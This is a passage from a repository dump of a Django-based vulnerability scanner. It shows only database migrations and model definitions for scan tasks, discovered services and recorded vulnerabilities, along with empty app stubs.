4 | import django.utils.timezone 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('ScanTaskModel', '0001_initial'), 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='ScanTask', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('start_time', models.DateField(default=django.utils.timezone.now)), 19 | ('ip_count', models.IntegerField(default=0)), 20 | ('service_process', models.FloatField(default=0)), 21 | ('vuln_process', models.FloatField(default=0)), 22 | ], 23 | ), 24 | migrations.DeleteModel( 25 | name='ServiceScan', 26 | ), 27 | ] 28 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0003_scantask_ip_range.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 12:48 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0002_auto_20210610_2037'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='ip_range', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0004_rename_ip_count_scantask_task_count.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 15:44 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0003_scantask_ip_range'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RenameField( 14 | model_name='scantask', 15 | old_name='ip_count', 16 | new_name='task_count', 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0005_scantask_ispause.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-11 18:31 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0004_rename_ip_count_scantask_task_count'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='isPause', 16 | field=models.BooleanField(default=False), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0006_scantask_vuln_count.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-12 17:32 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0005_scantask_ispause'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='vuln_count', 16 | field=models.IntegerField(default=0), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0007_scantask_isstart.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-12 19:42 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0006_scantask_vuln_count'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='isStart', 16 | field=models.BooleanField(default=False), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0008_scantask_mode.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-14 16:55 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0007_scantask_isstart'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='mode', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0009_scantask_description.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-16 15:39 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0008_scantask_mode'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='scantask', 15 | name='description', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0010_alter_scantask_ip_range.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-11 11:18 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0009_scantask_description'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='scantask', 15 | name='ip_range', 16 | field=models.CharField(default='', max_length=100), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0011_alter_scantask_ip_range.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-11 11:23 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ScanTaskModel', '0010_alter_scantask_ip_range'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='scantask', 15 | name='ip_range', 16 | field=models.CharField(default='', max_length=200), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__init__.py -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0002_auto_20210610_2037.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0002_auto_20210610_2037.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0003_scantask_ip_range.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0003_scantask_ip_range.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0004_rename_ip_count_scantask_task_count.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0004_rename_ip_count_scantask_task_count.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0005_scantask_ispause.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0005_scantask_ispause.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0006_scantask_vuln_count.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0006_scantask_vuln_count.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0007_scantask_isstart.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0007_scantask_isstart.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0008_scantask_mode.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0008_scantask_mode.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0009_scantask_description.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0009_scantask_description.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0010_alter_scantask_ip_range.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0010_alter_scantask_ip_range.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/0011_alter_scantask_ip_range.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/0011_alter_scantask_ip_range.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/models.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | 3 | from django.db import models 4 | from django.utils.timezone import now 5 | 6 | 7 | class ScanTask(models.Model): 8 | start_time = models.DateField(default=now) 9 | ip_range = models.CharField(max_length=200, default="") 10 | description = models.CharField(max_length=50, default="") 11 | task_count = models.IntegerField(default=0) 12 | vuln_count = models.IntegerField(default=0) 13 | service_process = models.FloatField(default=0) 14 | vuln_process = models.FloatField(default=0) 15 | isPause = models.BooleanField(default=False) 16 | isStart = models.BooleanField(default=False) 17 | mode = models.CharField(max_length=50, default="") 18 | 19 | # Create your models here. 20 | -------------------------------------------------------------------------------- /ScanTaskModel/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /ScanTaskModel/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /ServiceScanModel/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/__init__.py -------------------------------------------------------------------------------- /ServiceScanModel/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /ServiceScanModel/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ServicescanmodelConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'ServiceScanModel' 7 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 04:41 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [ 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='ServiceScan', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('ip', models.CharField(max_length=50)), 19 | ('port', models.IntegerField(default=0)), 20 | ('isActive', models.BooleanField(default=False)), 21 | ('speciality', models.CharField(default='', max_length=100)), 22 | ('title', models.CharField(default='', max_length=100)), 23 | ], 24 | ), 25 | ] 26 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0002_auto_20210610_2005.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 12:05 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ServiceScanModel', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RemoveField( 14 | model_name='servicescan', 15 | name='isActive', 16 | ), 17 | migrations.AddField( 18 | model_name='servicescan', 19 | name='isShown', 20 | field=models.BooleanField(default=False), 21 | ), 22 | migrations.AddField( 23 | model_name='servicescan', 24 | name='taskid', 25 | field=models.IntegerField(default=1), 26 | ), 27 | ] 28 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0003_servicescan_type.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 13:41 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ServiceScanModel', '0002_auto_20210610_2005'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='servicescan', 15 | name='type', 16 | field=models.CharField(default='low', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0004_auto_20210611_1546.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-11 07:46 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ServiceScanModel', '0003_servicescan_type'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='servicescan', 15 | name='server', 16 | field=models.CharField(default='', max_length=100), 17 | ), 18 | migrations.AddField( 19 | model_name='servicescan', 20 | name='url', 21 | field=models.CharField(default='', max_length=100), 22 | ), 23 | ] 24 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0005_servicescan_vulnerable.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-11 17:22 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ServiceScanModel', '0004_auto_20210611_1546'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='servicescan', 15 | name='vulnerable', 16 | field=models.BooleanField(default=False), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/0006_servicescan_note.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-11 17:46 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('ServiceScanModel', '0005_servicescan_vulnerable'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='servicescan', 15 | name='note', 16 | field=models.CharField(default='', max_length=100), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__init__.py -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0002_auto_20210610_2005.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0002_auto_20210610_2005.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0003_servicescan_type.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0003_servicescan_type.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0004_auto_20210611_1546.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0004_auto_20210611_1546.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0005_servicescan_vulnerable.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0005_servicescan_vulnerable.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/0006_servicescan_note.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/0006_servicescan_note.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ServiceScanModel/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /ServiceScanModel/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | class ServiceScan(models.Model): 4 | taskid = models.IntegerField(default=1) 5 | ip = models.CharField(max_length=50) 6 | port = models.IntegerField(default=0) 7 | isShown = models.BooleanField(default=False) 8 | speciality = models.CharField(max_length=100, default="") 9 | type = models.CharField(max_length=50, default="low") 10 | title = models.CharField(max_length=100, default="") 11 | server = models.CharField(max_length=100, default="") 12 | url = models.CharField(max_length=100, default="") 13 | note = models.CharField(max_length=100, default="") 14 | vulnerable = models.BooleanField(default=False) 15 | 16 | 17 | # Create your models here. 18 | -------------------------------------------------------------------------------- /ServiceScanModel/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /ServiceScanModel/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /VulnScanModel/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/__init__.py -------------------------------------------------------------------------------- /VulnScanModel/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /VulnScanModel/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class VulnscanmodelConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'VulnScanModel' 7 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-12 17:32 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [ 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='VulnScan', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('taskid', models.IntegerField(default=1)), 19 | ('ip', models.CharField(max_length=50)), 20 | ('port', models.IntegerField(default=0)), 21 | ('vulnerability', models.CharField(default='', max_length=50)), 22 | ('description', models.CharField(default='', max_length=50)), 23 | ], 24 | ), 25 | ] 26 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0002_vulnscan_isshown.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-12 18:12 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='vulnscan', 15 | name='isShown', 16 | field=models.BooleanField(default=False), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0003_vulnscan_url.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-14 18:46 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0002_vulnscan_isshown'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='vulnscan', 15 | name='url', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0004_vulnscan_risk.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-15 15:12 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0003_vulnscan_url'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='vulnscan', 15 | name='risk', 16 | field=models.IntegerField(default=3), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0005_alter_vulnscan_risk.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-15 15:13 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0004_vulnscan_risk'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='vulnscan', 15 | name='risk', 16 | field=models.CharField(default='danger', max_length=10), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0006_alter_vulnscan_description.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-17 17:05 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0005_alter_vulnscan_risk'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AlterField( 14 | model_name='vulnscan', 15 | name='description', 16 | field=models.CharField(default='', max_length=200), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0007_vulnscan_module.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-10 11:13 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0006_alter_vulnscan_description'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='vulnscan', 15 | name='module', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/0008_vulnscan_specify.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-10 12:58 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('VulnScanModel', '0007_vulnscan_module'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='vulnscan', 15 | name='specify', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /VulnScanModel/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__init__.py -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0002_vulnscan_isshown.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0002_vulnscan_isshown.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0003_vulnscan_url.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0003_vulnscan_url.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0004_vulnscan_risk.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0004_vulnscan_risk.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0005_alter_vulnscan_risk.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0005_alter_vulnscan_risk.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0006_alter_vulnscan_description.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0006_alter_vulnscan_description.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0007_vulnscan_module.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0007_vulnscan_module.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/0008_vulnscan_specify.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/0008_vulnscan_specify.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/VulnScanModel/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /VulnScanModel/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | 4 | class VulnScan(models.Model): 5 | taskid = models.IntegerField(default=1) 6 | ip = models.CharField(max_length=50) 7 | port = models.IntegerField(default=0) 8 | url = models.CharField(max_length=50, default="") 9 | vulnerability = models.CharField(max_length=50, default="") 10 | description = models.CharField(max_length=200, default="") 11 | risk = models.CharField(max_length=10, default="danger") 12 | isShown = models.BooleanField(default=False) 13 | module = models.CharField(max_length=50, default="") 14 | specify = models.CharField(max_length=50, default="") # 需单独保存的特殊结果 15 | 16 | # Create your models here. 17 | -------------------------------------------------------------------------------- /VulnScanModel/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 